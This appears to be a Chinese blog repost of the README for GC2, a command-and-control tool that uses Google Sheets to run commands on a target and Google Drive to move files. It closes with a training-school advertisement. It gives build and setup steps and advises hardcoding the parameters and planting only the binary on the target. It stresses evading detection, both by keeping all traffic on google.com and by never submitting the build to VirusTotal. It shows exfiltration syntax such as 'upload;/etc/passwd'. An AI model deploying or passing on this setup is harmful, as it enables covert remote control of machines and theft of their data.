關(guān)于GC2

　　GC2是一款功能強(qiáng)大的命令控制應(yīng)用工具，該工具將允許廣大安全研究人員或滲透測(cè)試人員使用Google Sheet來在目標(biāo)設(shè)備上執(zhí)行遠(yuǎn)程控制命令，并使用Google Drive來提取目標(biāo)設(shè)備中的敏感數(shù)據(jù)。

　　值得一提的是，該工具可以直接提供命令控制服務(wù)，而無需進(jìn)行其他額外的安裝和配置，因此可以大大提高紅隊(duì)滲透活動(dòng)的效率。除此之外，這款工具只能跟Google的域名(*.google.com)交互，因此也增加了檢測(cè)GC2的難度。

　　請(qǐng)注意：千萬不要將已編譯好的代碼上傳到VirusTotal上!

　　功能介紹

　　使用Google Sheet作為終端窗口來實(shí)現(xiàn)命令控制與命令執(zhí)行。

　　使用Google Drive向目標(biāo)主機(jī)傳輸和下載文件。

　　使用Google Drive從目標(biāo)主機(jī)中提取數(shù)據(jù)。

　　退出執(zhí)行。

　　工具運(yùn)行流程

　　工具安裝&配置

　　第一步：使用下列命令將該項(xiàng)目源碼克隆至本地，然后構(gòu)建項(xiàng)目代碼：

　　git clone https://github.com/looCiprian/GC2-sheet

　　cd GC2-sheet

　　go build gc2-sheet.go

　　第二步：創(chuàng)建一個(gè)新的Google “服務(wù)賬號(hào)”，此時(shí)我們需要點(diǎn)擊https://console.cloud.google.com/來創(chuàng)建該服務(wù)賬號(hào)所需的.json密鑰文件。

　　第三步：?jiǎn)⒂肎oogle Sheet API和Google Drive API。

　　第四步：配置Google Sheet和Google Drive。創(chuàng)建一個(gè)新的Google Sheet，并添加服務(wù)賬號(hào)至spreadsheet的Editor組：

　　創(chuàng)建一個(gè)新的Google Drive文件夾，并將服務(wù)賬號(hào)添加進(jìn)這個(gè)文件夾的Editor組中：

　　第五步：使用下列命令啟動(dòng)GC2：

　　gc2-sheet --key--sheet--drive

　　注意事項(xiàng)：你可以將參數(shù)以硬編碼的形式寫入進(jìn)代碼中，并只將可執(zhí)行程序上傳至目標(biāo)設(shè)備上。

　　工具使用

　　命令執(zhí)行

　　GC2每五秒會(huì)向spreadsheet發(fā)送一次請(qǐng)求，并檢查是否存在未執(zhí)行的新命令。命令必須插入值請(qǐng)求中的“A”字段記錄中，而命令輸出結(jié)果將存儲(chǔ)在“B”字段中。

　　數(shù)據(jù)提取

　　我們可以使用指定的命令來在目標(biāo)設(shè)備上執(zhí)行文件上傳或下載任務(wù)：

　　From Target to Google Drive

　　upload;

　　Example:

　　upload;/etc/passwd

　　下載文件

　　我們可以使用指定的命令來在目標(biāo)設(shè)備上執(zhí)行文件上傳或下載任務(wù)：

　　From Google Drive to Target

　　download;;

　　Example:

　　download;;/home/user/downloaded.txt

　　退出執(zhí)行

　　通過發(fā)送“exit”命令，GC2將會(huì)從目標(biāo)設(shè)備上遠(yuǎn)程刪除自身代碼，并終止自身進(jìn)程的運(yùn)行。注意，如果開啟進(jìn)程時(shí)使用了符號(hào)鏈接，那么命令執(zhí)行結(jié)果可能會(huì)是符號(hào)鏈接或路徑所指向的目標(biāo)，從而導(dǎo)致刪除錯(cuò)誤的目標(biāo)。

　　項(xiàng)目地址

　　https://github.com/looCiprian/GC2-sheet

　　更多關(guān)于“網(wǎng)絡(luò)安全培訓(xùn)”的問題，歡迎咨詢千鋒教育在線名師。千鋒教育多年辦學(xué)，課程大綱緊跟企業(yè)需求，更科學(xué)更嚴(yán)謹(jǐn)，每年培養(yǎng)泛IT人才近2萬人。不論你是零基礎(chǔ)還是想提升，都可以找到適合的班型，千鋒教育隨時(shí)歡迎你來試聽。